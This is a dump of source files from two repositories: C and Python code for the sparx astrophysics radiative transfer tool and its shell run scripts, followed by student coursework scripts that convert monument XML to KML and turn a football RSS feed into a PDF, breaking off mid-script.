__LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tif(o == NULL) {\n\t\tSp_PERR(\"cannot retrieve objct '%s' from Inputs\\n\", name);\n\t}\n\tDeb_ASSERT(o != NULL);\n\n\tPy_DECREF(Inputs);\n\n\treturn o;\n}\n\n/*----------------------------------------------------------------------------*/\n\nMolec *SpInp_GetKey_molec(const char *name)\n/* Retrieve a keyword from user input */\n{\n\tPyObject *Inputs = 0, *o = 0;\n\tMolec *mol = NULL;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tmol = SpIO_FreadMolec(Sp_PYSTR(o));\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn mol;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpInp_GetKey_model(const char *name, SpModel *model)\n/* Retrieve a keyword from user input */\n{\n\tint status = 0;\n\tPyObject *Inputs = 0, *o = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tstatus = SpIO_OpenModel(Sp_PYSTR(o), model);\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nSpFile *SpInp_GetKey_spfile(const char *name, int mode)\n/* Retrieve a keyword from user input */\n{\n\tPyObject *Inputs = 0, *o = 0;\n\tSpFile *fp;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\tfp = SpIO_OpenFile(Sp_PYSTR(o), mode);\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn fp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t SpInp_GetKey_size_t(const char *name)\n/* Retrieve a keyword from user input */\n{\n\tsize_t size;\n\tPyObject *Inputs = 0, *o = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\t/* Convert to integer */\n\tif(o != Py_None)\n\t\tsize = (size_t)PyInt_AsLong(o);\n\telse\n\t\tsize = 0;\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn size;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpInp_GetKey_TF(const char *name)\n/* Retrieve a keyword from user input */\n{\n\tint intgr = 0;\n\tPyObject *Inputs = 0, *o = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\t/* Convert to integer */\n\tif(o != Py_None) {\n\t\tintgr = (int)PyInt_AsLong(o);\n\t}\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn intgr;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpInp_GetKey_int(const char *name)\n/* Retrieve a keyword from user input */\n{\n\tint intgr;\n\tPyObject *Inputs = 0, *o = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\t/* Convert to integer */\n\tif(o != Py_None)\n\t\tintgr = (int)PyInt_AsLong(o);\n\telse\n\t\tintgr = 0;\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn intgr;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble SpInp_GetKey_dbl(const char *name)\n/* Retrieve a keyword from user input */\n{\n\tdouble dbl;\n\tPyObject *Inputs = 0, *o = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", __FILE__, __LINE__, name);\n\tDeb_ASSERT(Inputs != NULL);\n\n\to = PyObject_GetAttrString(Inputs, name);\n\tDeb_ASSERT(o != NULL);\n\n\t/* Convert to floating point */\n\tif(o != Py_None)\n\t\tdbl = PyFloat_AsDouble(o);\n\telse\n\t\tdbl = 0;\n\n\tPy_DECREF(Inputs);\n\tPy_DECREF(o);\n\n\treturn dbl;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *SpInp_GetKey(const char *key, const char *file, int line, const char *func)\n/* Retrieve a keyword from user input by doing the following:\n * 1. Check for existence of key.name in Inp_Keys\n * 2. If key exists, check against key.format using Sp_CheckFormat\n * This returns a NEW reference to PyObject *.\n */\n{\n\tint status = 0;\n\tPyObject *Inputs = 0, *op = 0;\n\t\n\t/* Get class Inputs */\n\tInputs = SpPy_GetMain(\"Inputs\", file, line, func);\n\n\tif(!Inputs)\n\t\tErr_SETSTRING(\"Internal Python error: class Inputs not found in __main__!\");\n\telse {\n\t\t/* Check if key has been set in Inputs */\n\t\tif(!status && PyObject_HasAttrString(Inputs, key))\n\t\t\top = PyObject_GetAttrString(Inputs, key);\n\t\telse\n\t\t\tErr_SetString(file, line, func, \"Error retrieving keyword `%s'.\", key);\n\n\t\t/* Remember to DECREF Inputs */\n\t\tPy_DECREF(Inputs);\n\t}\n\n\treturn op;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *SpInp_GetTaskKey(const char *task, const char *key, const char *file, int line, const char *func)\n/* Wrapper for the Python function SpInp_GetTaskKey() */\n{\n\tPyObject *fo, *ko;\n\tchar format[BUFSIZ] = \"ss\";\n\n\t/* Load Python function */\n\tfo = SpPy_GetMain(\"PySpInp_GetTaskKey\", file, line, func);\n\n\tDeb_ASSERT(fo != NULL);\n\n\t/* Get and process input key */\n\tko = PyObject_CallFunction(fo, format, task, key);\n\n\tif(PyErr_Occurred()) {\n\t\tPy_XDECREF(ko);\n\t\tko = NULL;\n\t\tErr_SetString(file, line, func, \"Error processing keyword `%s'\", key);\n\t}\n\n\tPy_DECREF(fo);\n\n\treturn ko;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpInp_PrintKeys(void)\n{\n\tPyObject *Inputs,\n\t\t *dir = 0, /* new ref */\n\t\t *o; /* Generic pointer */\n\tPy_ssize_t i, n;\n\n\t/* Get class Inputs */\n\tInputs = SpPy_GETMAIN(\"Inputs\");\n\n\tif(Inputs) {\n\t\t/* Get list of attributes in Inputs */\n\t\tdir = PyObject_Dir(Inputs);\n\t\tn = PyList_Size(dir);\n\n\t\tSp_PRINT(\"Variables in Inputs:\\n\");\n\t\tfor(i = 0; i < n; i++) {\n\t\t\to = PyList_GetItem(dir, i);\n\t\t\tSp_PRINT(\" \");\n\t\t\tPyObject_Print(o, Sp_parm.out_fp, 0);\n\t\t\tSp_PRINT(\"\\n\");\n\t\t}\n\t}\n\telse {\n\t\tSp_PRINT(\"Error retrieving __main__.Inputs\\n\");\n\t}\n\n\tPy_XDECREF(dir);\n\tPy_XDECREF(Inputs);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpInp_CheckKeys(void)\n/* Check for redundant input */\n{\n\tPyObject *op;\n\n\top = SpPy_GETMAIN(\"SpInp_CheckKeys\");\n\n\tDeb_ASSERT(op != NULL);\n\n\tPyObject_CallFunction(op, 0);\n\tPy_DECREF(op);\n\n\tif(PyErr_Occurred())\n\t\treturn Err_SETSTRING(\"Internal Python error\");\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpInp_InitTasks(SpTask *tasks[])\n/* Build dictionary of tasks in embedded Python environment. */\n{\n\tsize_t i, j;\n\tSpTask *tp;\n\tSpKey *kp;\n\n\tPyWrRun_SimpleString(\"Sp_tasks = {}\");\n\tfor(i = 0; tasks[i]; i++) {\n\t\ttp = tasks[i];\n\t\tPyWrRun_SimpleString(\"Sp_tasks['%s'] = {}\", tp->name);\n\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['doc'] = \\\"%s\\\"\", tp->name, tp->doc);\n\t\tif(tp->keys) {\n\t\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['keys'] = {}\", tp->name);\n\t\t\tfor(j = 0; tp->keys[j]; j++) {\n\t\t\t\tkp = tp->keys[j];\n\t\t\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['keys']['%s'] = {}\", tp->name, kp->name);\n\t\t\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['keys']['%s']['format'] = \\\"%s\\\"\", tp->name, kp->name, kp->format);\n\t\t\t\tif(kp->deflt) {\n\t\t\t\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['keys']['%s']['default'] = %s\", tp->name, kp->name, kp->deflt);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['keys']['%s']['default'] = None\", tp->name, kp->name);\n\t\t\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['keys']['%s']['doc'] = \\\"%s\\\"\", tp->name, kp->name, kp->doc);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t\tPyWrRun_SimpleString(\"Sp_tasks['%s']['keys'] = None\", tp->name);\n\t}\n\n\treturn 0;\n}\n\n/*----------------------------------------------------------------------------*/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6095238327980042, "alphanum_fraction": 0.6095238327980042, "avg_line_length": 14, "blob_id": "a442bc8f2a034dc3c03575e4eb56eabb698eeab6", "content_id": "8f0996c63aa0fc3435443be62ffa9098e1c6a333", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 105, "license_type": "no_license", "max_line_length": 26, "num_lines": 7, "path": "/src/_sparx.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef ___SPARX_H__\n#define ___SPARX_H__\n\n#define USEUP_SELF_ARGS()\\\n\t{(void)self; (void)args;}\n\n#endif\n" }, { "alpha_fraction": 0.5648000240325928, "alphanum_fraction": 0.6136000156402588, "avg_line_length": 15.220779418945312, "blob_id": "d4515a67232022cf8f42ebbc5b40f6bf19298c82", "content_id": "7bef6dfb5c46b8595d2ab08ca075d0037fff0d90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1250, "license_type": "no_license", "max_line_length": 61, "num_lines": 77, "path": "/bin/ratran-validate-leiden-lvg", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\nif (( $# < 2 )); then\n\techo \"Usage: $(basename $0) NR XMOL SNR\" 1>&2\n\texit 1\nfi\n\n# Load paramters\nnr=${1} # Number of shells\nxmol=${2} # Molecular abundance\nsnr=${3} # SNR\nfwhm=1031.32 # FWHM beam width for convolution\n\n# Filename prefix\nprfx=\"leiden-lvg-r1d-X${xmol}\"\n\n# Generate model\nmodl=${prfx}.mdl\n\nif [ ! -f ${modl} ]; then\n\tif (( ${nr} == 0 )); then\n\t\tsparx-gengrid-leiden-ratran ${xmol} 1e4 100 > ${modl}\n\telse\n\t\tsparx-gengrid-leiden-ratran ${xmol} 1e4 100 ${nr} > ${modl}\n\tfi\n\tif (( $? != 0 )); then exit 1; fi\nfi\n\n# Calculate excitation\namc_inp=${prfx}.amc\npops=${prfx}.pop\n\namc_template=\"\nsource=${modl}\noutfile=${pops}\nmolfile=o-h2o_2lev.dat\nsnr=20\nnphot=1000\nseed=`date +%s`\nvelo=vgrid_1d.f\ngo\nq\n\"\n\nif [ ! -f ${pops} ]; then\n\techo \"${amc_template}\" > ${amc_inp}\n\tamc ${amc_inp}\n\tif (( $? != 0 )); then exit 1; fi\nfi\n\n# Generate images\nsky_inp=${prfx}.sky\nimg=${prfx}.img\nmap=${img}_001\n\nsky_template=\"\nsource=${pops}\noutfile=${img}\ntrans=1\npix=256,0.5\nchan=100,0.05\ndistance=2000.\nunits=Jypx\nvelo=vgrid_1d.f\ngo\nq\n\"\n\nif [ ! -d ${map} ]; then\n\techo \"${sky_template}\" > ${sky_inp}\n\tsky ${sky_inp}\n\tif (( $? != 0 )); then exit 1; fi\nfi\n\n# Convolve with telescope beam\ncnv=${map}.cnv\nconvol map=${map} out=${cnv} fwhm=${fwhm}\n\n" }, { "alpha_fraction": 0.563265323638916, "alphanum_fraction": 0.6020408272743225, "avg_line_length": 22.33333396911621, "blob_id": "9a83bfcca0242a093e917d5d6326da0b6d6e8e92", "content_id": "da579414c9bf3add0b176f968365e673dabbe785", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 490, "license_type": "no_license", "max_line_length": 53, "num_lines": 21, "path": "/unit/test_numpy.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "import unittest\nimport numpy as np\n\nclass TestSequenceFunctions(unittest.TestCase):\n\tdef setUp(self):\n\t\tpass\n\n\tdef tearDown(self):\n\t\tpass\n\n\tdef test_ndindex(self):\n\t\ta_gld = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9])\n\t\ta_tst = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n\t\ta = a_tst.reshape([a_gld.shape[0]])\n\t\tfor i, elm in enumerate(a):\n\t\t\tassert elm == a_gld[i]\n\t\tfor i, pos in enumerate(np.ndindex(a_tst.shape)):\n\t\t\tassert a_gld[i] == a_tst[pos]\n\nif __name__ == '__main__':\n\tunittest.main()\n" }, { "alpha_fraction": 0.6537523865699768, "alphanum_fraction": 0.6621511578559875, "avg_line_length": 32.180179595947266, "blob_id": "4251a647382d0806aa311d4d358136ac15b9d0ea", "content_id": "337b858225aaac64567944106642b4c4f22b28b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3691, "license_type": "no_license", "max_line_length": 135, "num_lines": 111, "path": "/bin/sparx-plot", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\nif __name__ == \"__main__\":\n\timport sparx\n\n\t##\n\t## Configure options parser\n\t##\n\tfrom optparse import OptionParser\n\tparser = OptionParser(usage=\"%prog [OPTIONS] PARM FILE1 FILE2 ...\")\n\tparser.add_option(\"-o\", metavar=\"FILE\", dest=\"out\", nargs=1, default=None, help=\"Output file name\")\n\tparser.add_option(\"-a\", \"--ascii\", dest=\"ascii\", action=\"store_true\", default=False, help=\"Print out ascii table instead of plotting\")\n\tparser.add_option(\"--logx\", dest=\"logx\", action=\"store_true\", default=False, help=\"log x axis\")\n\tparser.add_option(\"--logy\", dest=\"logy\", action=\"store_true\", default=False, help=\"log y axis\")\n\tparser.add_option(\"--beg\", dest=\"beg\", action=\"store\", default=None, help=\"Beginning index of X axis to plot\")\n\tparser.add_option(\"--end\", dest=\"end\", action=\"store\", default=None, help=\"Ending index of X axis to plot\")\n\tparser.add_option(\"--nolegend\", dest=\"nolegend\", action=\"store_true\", default=False, help=\"Don't draw legend\")\n\tparser.add_option(\"--tight\", dest=\"tight\", action=\"store_true\", default=True, help=\"Fit plot scale to data\")\n\tparser.add_option(\"--slice\", dest=\"slice\", action=\"store_true\", default=False, help=\"Plot slice instead of radial values\")\n\tparser.add_option(\"--xlab\", metavar=\"XLABEL\", dest=\"xlab\", nargs=1, default=None, help=\"X axis label\")\n\tparser.add_option(\"--ylab\", metavar=\"YLABEL\", dest=\"ylab\", nargs=1, default=None, help=\"Y axis label\")\n\tparser.add_option(\"--xmin\", dest=\"xmin\", action=\"store\", nargs=1, help=\"X axis lower limit\")\n\tparser.add_option(\"--xmax\", dest=\"xmax\", action=\"store\", nargs=1, help=\"X axis upper limit\")\n\tparser.add_option(\"--ymin\", dest=\"ymin\", action=\"store\", nargs=1, help=\"Y axis lower limit\")\n\tparser.add_option(\"--ymax\", dest=\"ymax\", action=\"store\", nargs=1, help=\"Y axis upper limit\")\n\tparser.add_option(\"--noshow\", dest=\"noshow\", action=\"store_true\", default=False, help=\"Do not plot on terminal\")\n\tparser.add_option(\"--legsize\", dest=\"legsize\", action=\"store\", default=8, help=\"Font size of legend\")\n\tparser.add_option(\"--legpos\", dest=\"legpos\", action=\"store\", default=\"best\", help=\"Legend position\")\n\n\t##\n\t## Parse inputs\n\t##\n\t(opts, args) = parser.parse_args()\n\n\tif len(args) < 2:\n\t\tparser.error(\"Not enough arguments\")\n\n\tparm = args[0]\n\tflst = args[1:]\n\n\tif opts.xlab is None:\n\t\topts.xlab = \"Radius [pc]\"\n\n\tif opts.ylab is None:\n\t\topts.ylab = parm\n\n\t##\n\t## Instantiate plotter and plot files\n\t##\n\t# Instantiate gui plotter\n\tfrom sparx.plotter import GUIPlotter, mainloop\n\tpltr = GUIPlotter()\n\n\t# Plot all files\n\tfrom os.path import exists\n\tfrom sparx.grid import SPARXH5\n\tfor fname in flst:\n\t\t# Check for file existence and load file\n\t\tif not exists(fname):\n\t\t\traise Exception, \"File '%s' does not exist\"%fname\n\t\th5f = SPARXH5(fname)\n\n\t\t# Get data\n\t\tif opts.slice:\n\t\t\taxis = 0\n\t\t\tindx = h5f.shape[0] // 2\n\t\t\tslice = h5f.GetSlice(axis, indx, parm)\n\n\t\t\t# Plot image\n\t\t\tfrom pylab import pcolor, colorbar, axis, title, xlabel, ylabel\n\t\t\tpcolor(grid.transpose())\n\t\t\tcolorbar()\n\t\t\taxis([0, shape[0], 0, shape[1]])\n\t\t\ttitle(\"%s, %s index=%d\" % (pname, slice_axis_title, slice_index))\n\t\t\txlabel(axis_titles[0])\n\t\t\tylabel(axis_titles[1])\n\t\telse:\n\t\t\tr_list = h5f.GetRadii()\n\t\t\tp_list = h5f.GetRadial(parm)\n\n\t\t\t# Plot lines\n\t\t\tpltr.plot(\n\t\t\t\tr_list,\n\t\t\t\tp_list,\n\t\t\t\tname=fname,\n\t\t\t\txlab=opts.xlab,\n\t\t\t\tylab=opts.ylab,\n\t\t\t\tlogx=opts.logx,\n\t\t\t\tlogy=opts.logy,\n\t\t\t\tbeg=opts.beg,\n\t\t\t\tend=opts.end,\n\t\t\t\tlsty=\"-\",\n\t\t\t\tmsty=\"o\"\n\t\t\t)\n\t\t\tif not opts.nolegend:\n\t\t\t\tpltr.legend(fontsiz=6)\n\n\t\t# Close file\n\t\th5f.Close()\n\n\t##\n\t## Outputs\n\t##\n\t# Show window if requested\n\tif not opts.noshow:\n\t\tpltr.show()\n\t\tmainloop()\n\n\t# Save to file if requested\n\tif opts.out is not None:\n\t\tpltr.save(opts.out)\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.4599006474018097, "alphanum_fraction": 0.5308729410171509, "avg_line_length": 17.447368621826172, "blob_id": "04fa0168f8c495fc704adae7b32d16df54a82f3d", "content_id": "ae91d577d6c4929287d3b0e0254aa6de10a839be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1409, "license_type": "no_license", "max_line_length": 72, "num_lines": 76, "path": "/regression/leiden-r1d/run.sh", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\nset -u\n\nfor name in static lvg; do\n\tif [[ ${name} == lvg ]]; then\n\t\tvelo=100 # km/s/pc\n\telse\n\t\tvelo=0 # km/s/pc\n\tfi\n\n\tif [[ $? != 0 ]]; then exit 1; fi\n\n\tfor xmol in 1e-10 1e-09 1e-08 1e-07 1e-06; do\n\t\t#for nh2 in 1e02 3e02 5e02 1e03 3e03 5e03 7e03 1e04 3e04 5e04 7e04; do\n\t\tfor nh2 in 1e04; do\n\t\t\tprfx=${name}_xmol_${xmol}_nh2_${nh2}\n\t\t\tmodl=${prfx}.mdl\n\t\t\tpops=${prfx}.pop\n\t\t\timg=${prfx}.img\n\t\t\tamcinp=${prfx}.amc\n\t\t\tskyinp=${prfx}.sky\n\n\t\t\tif [[ ! -a ${modl} ]]; then\n\t\t\t\t# Generate grid\n\t\t\t\tsparx-gengrid-leiden-ratran ${xmol} ${nh2} ${velo} 8 > ${modl}\n\n\t\t\t\t# Check for errors\n\t\t\t\tif [[ $? != 0 ]]; then exit 1; fi\n\n\t\t\t\tsync; sync; sync\n\t\t\tfi\n\n\t\t\tif [[ ! -a ${pops} ]]; then\n\t\t\t\t# Calculate excitation\n\t\t\t\techo \"source=${modl}\n\t\t\t\toutfile=${pops}\n\t\t\t\tmolfile=o-h2o_2lev.dat\n\t\t\t\tsnr=20\n\t\t\t\tnphot=1000\n\t\t\t\tseed=1971\n\t\t\t\tgo\n\t\t\t\tq\" > ${amcinp}\n\n\t\t\t\tamc ${amcinp} 1>${prfx}.log 2>${prfx}.err &\n\t\t\t\techo \"Launched amc calculation \\`${prfx}'\"\n\t\t\t\tsleep 5\n\n\t\t\t\t# Check for errors\n\t\t\t\tif [[ $? != 0 ]]; then exit 1; fi\n\n\t\t\t\tsync; sync; sync\n\t\t\tfi\n\n\t\t\tif [[ -a ${pops} && ! -a ${img} && '' ]]; then\n\t\t\t\t# Calculate excitation\n\t\t\t\techo \"source=${pops}\n\t\t\t\toutfile=${img}\n\t\t\t\ttrans=1\n\t\t\t\tpix=256,0.5\n\t\t\t\tchan=100,0.05\n\t\t\t\tdistance=2000.\n\t\t\t\tunits=jypx\n\t\t\t\tgo\n\t\t\t\tq\" > ${skyinp}\n\n\t\t\t\tsky ${skyinp}\n\n\t\t\t\t# Check for errors\n\t\t\t\tif [[ $? != 0 ]]; then exit 1; fi\n\t\t\tfi\n\t\tdone\n\tdone\ndone\n\necho \"Done\"\n\n\n\n\n\n\n\n" } ]
74
juanfpo96/LEW
https://github.com/juanfpo96/LEW
5ec9a628a67fcb012d7aca914abbae8043c39c5f
4c8263894b2f1f4193d78a4ab30554072decd9fc
0da0a225d7eb0170f785c3f71c4813ad30f99857
refs/heads/master
2020-03-29T23:43:25.299366
2018-10-11T12:03:59
2018-10-11T12:03:59
150,485,798
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.68643718957901, "alphanum_fraction": 0.6897552609443665, "avg_line_length": 35.703125, "blob_id": "3f5c9124354a7fd05f146e511ed0004b99780c73", "content_id": "c5c2b37af75013ea2133cf3a9ee3d33b2474d58b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2411, "license_type": "no_license", "max_line_length": 100, "num_lines": 64, "path": "/XML/Tema 5/KML_Processing/kml_processing.py", "repo_name": "juanfpo96/LEW", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport xmltodict\r\nimport xml.dom.minidom\r\n\r\ndef main():\r\n with open('prerromanico.xml', encoding='utf-8') as fd:\r\n doc = xmltodict.parse(fd.read(), encoding='utf-8', dict_constructor = dict)\r\n print(doc)\r\n kmlDoc = createKML(doc)\r\n\r\n kmlFile = open('prerromanico.kml', 'wb')\r\n kmlFile.write(kmlDoc.toprettyxml(' ', newl = '\\n', encoding = 'utf-8'))\r\n\r\n\r\ndef createKML(doc):\r\n # This constructs the KML document from the CSV file.\r\n kmlDoc = xml.dom.minidom.Document()\r\n \r\n kmlElement = kmlDoc.createElementNS('http://earth.google.com/kml/2.2', 'kml')\r\n kmlElement.setAttribute('xmlns', 'http://earth.google.com/kml/2.2')\r\n kmlElement = kmlDoc.appendChild(kmlElement)\r\n documentElement = kmlDoc.createElement('Document')\r\n documentElement = kmlElement.appendChild(documentElement)\r\n\r\n for monument in doc['monuments']['monument']:\r\n name = monument['name']\r\n description = monument['description']\r\n coordenates = monument['location']['coordenates']\r\n latitude = coordenates['latitude']\r\n longitude = coordenates['longitude']\r\n altitude = coordenates['altitude']\r\n placemarkElement = createPlacemark(kmlDoc, name, latitude, longitude, altitude, description)\r\n documentElement.appendChild(placemarkElement)\r\n\r\n return kmlDoc\r\n\r\n\r\ndef createPlacemark(kmlDoc, name, latitude, longitude, altitude, description):\r\n # This creates a <Placemark> element for a row of data.\r\n # A row is a dict.\r\n placemarkElement = kmlDoc.createElement('Placemark')\r\n nameElement = kmlDoc.createElement('name')\r\n nameText = kmlDoc.createTextNode(name)\r\n nameElement.appendChild(nameText)\r\n placemarkElement.appendChild(nameElement)\r\n\r\n descriptionElement = kmlDoc.createElement('description')\r\n descriptionText = kmlDoc.createTextNode(description)\r\n descriptionElement.appendChild(descriptionText)\r\n placemarkElement.appendChild(descriptionElement)\r\n \r\n pointElement = kmlDoc.createElement('Point')\r\n placemarkElement.appendChild(pointElement)\r\n coordinates = longitude +\",\"+latitude + \",\"+ altitude\r\n coorElement = kmlDoc.createElement('coordinates')\r\n coorElement.appendChild(kmlDoc.createTextNode(coordinates))\r\n pointElement.appendChild(coorElement)\r\n return placemarkElement\r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n main()" }, { "alpha_fraction": 0.7869362235069275, "alphanum_fraction": 0.7900466322898865, "avg_line_length": 78.625, "blob_id": "b76874f97584e17c6e00899c52b9dc68b3908239", "content_id": "443534797d0b7165da9f159d2d13ee079a9a6392", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 658, "license_type": "no_license", "max_line_length": 169, "num_lines": 8, "path": "/TrabajoTematicaLibre/README.txt", "repo_name": "juanfpo96/LEW", "src_encoding": "UTF-8", "text": "Para este trabajo he incluido dos tipos de div. Uno para agrupar los botones inferiores con efecto \"glow\", \r\ny otro con una \"galería\" para encapsular las figuras o imágenes que están en una sección, y que así no ocupen en conjunto más de lo que deberían.\r\n\r\n\r\nTambién he incluido unos SVG en el footer. Los SVG de las RRSS se ven pequeños, sin embargo no encontré ningún SVG más optimizado con el logo de Uniovi (está minimizado)\r\n\r\nTodos los archivos han sido validados y todas las páginas superan las WCAG 2.0 Level AA. \r\nLos CSS tienen algún warning relacionado con redefiniciones, principalmente por intentar hacer responsive el contenido." }, { "alpha_fraction": 0.7970296740531921, "alphanum_fraction": 0.7970296740531921, "avg_line_length": 66, "blob_id": "1c4ac6197ff79fefe5dee738505c932b39b56c32", "content_id": "154b348db927a0af043ed51314351b3c94d1190e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 203, "license_type": "no_license", "max_line_length": 102, "num_lines": 3, "path": "/XML/Tema 5/KML_Processing/README.txt", "repo_name": "juanfpo96/LEW", "src_encoding": "UTF-8", "text": "Para generar un KML proceso el XML de prerromanico usando el script de python que hay en esta carpeta.\r\n\r\nGenero un arbol nuevo XML con la sintaxis KML, con las localizaciones y la descripción y titulo." }, { "alpha_fraction": 0.6101984977722168, "alphanum_fraction": 0.6146475076675415, "avg_line_length": 35.487178802490234, "blob_id": "edd6bd7da7977a5a0f28a2b2f890d35028262922", "content_id": "8305f7c20fb3ff12c0910b06797dc107e332b67d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2923, "license_type": "no_license", "max_line_length": 112, "num_lines": 78, "path": "/XML/Tema 5/XML_Entrada_Salida/xml_sports_feed.py", "repo_name": "juanfpo96/LEW", "src_encoding": "UTF-8", "text": "import requests\r\nimport xmltodict\r\nfrom lxml import etree as ET\r\nimport sys\r\nfrom reportlab.platypus import SimpleDocTemplate, Paragraph, PageBreak\r\nfrom reportlab.lib.styles import getSampleStyleSheet\r\nfrom reportlab.lib.units import mm, inch\r\nimport datetime\r\n\r\nsample_style_sheet = getSampleStyleSheet()\r\n\r\nPAGESIZE = (140 * mm, 216 * mm)\r\nBASE_MARGIN = 5 * mm\r\n\r\n\r\ndef main():\r\n response = requests.get('https://futbol.as.com/rss/futbol/segunda.xml')\r\n input_xml = response.content\r\n input_file = open('feed.xml', 'wb')\r\n input_file.write(input_xml)\r\n\r\n with open('feed.xml', encoding='utf-8') as fd:\r\n doc = xmltodict.parse(fd.read(), encoding='utf-8', dict_constructor = dict)\r\n\r\n my_doc = SimpleDocTemplate(\r\n 'resumenSegundaDivision'+datetime.datetime.now().strftime('%Y-%m-%d-%H_%M_%S') + '.pdf',\r\n pagesize=PAGESIZE,\r\n topMargin=BASE_MARGIN,\r\n leftMargin=BASE_MARGIN,\r\n rightMargin=BASE_MARGIN,\r\n bottomMargin=BASE_MARGIN\r\n )\r\n paragraphs = []\r\n \r\n createNewXML(doc, paragraphs)\r\n\r\n my_doc.build(paragraphs)\r\n \r\n\r\ndef createNewXML(input_xml, paragraphs):\r\n paragraphs.extend([Paragraph(\"Segunda División\", sample_style_sheet['Heading1'])])\r\n # create the file structure\r\n root = input_xml['rss']['channel']\r\n feed = ET.Element('feed')\r\n feed.set('title', root['title'])\r\n feed.set('link', root['link'])\r\n feed.set('published', root['pubDate'])\r\n feed.set('lang', root['language'])\r\n paragraphs.extend([Paragraph(root['title'], sample_style_sheet['Heading2'])])\r\n copyright = ET.SubElement(feed, 'copyright')\r\n copyright.text = root['copyright']\r\n image = ET.SubElement(feed,'image')\r\n image.set('title', root['image']['title'])\r\n imURL = ET.SubElement(image, 'url')\r\n imURL.text = root['image']['url']\r\n imLink = ET.SubElement(image, 'link')\r\n imLink.text = root['image']['link']\r\n items = ET.SubElement(feed, 'items')\r\n for i in root['item']:\r\n item = ET.SubElement(items, 'item')\r\n item.set('title', i['title'])\r\n item.set('description', i['description'])\r\n item.set('creator', i['dc:creator'])\r\n link = ET.SubElement(item, 'link')\r\n link.text = i['link']\r\n item.text = ET.CDATA(i['content:encoded'])\r\n categories = 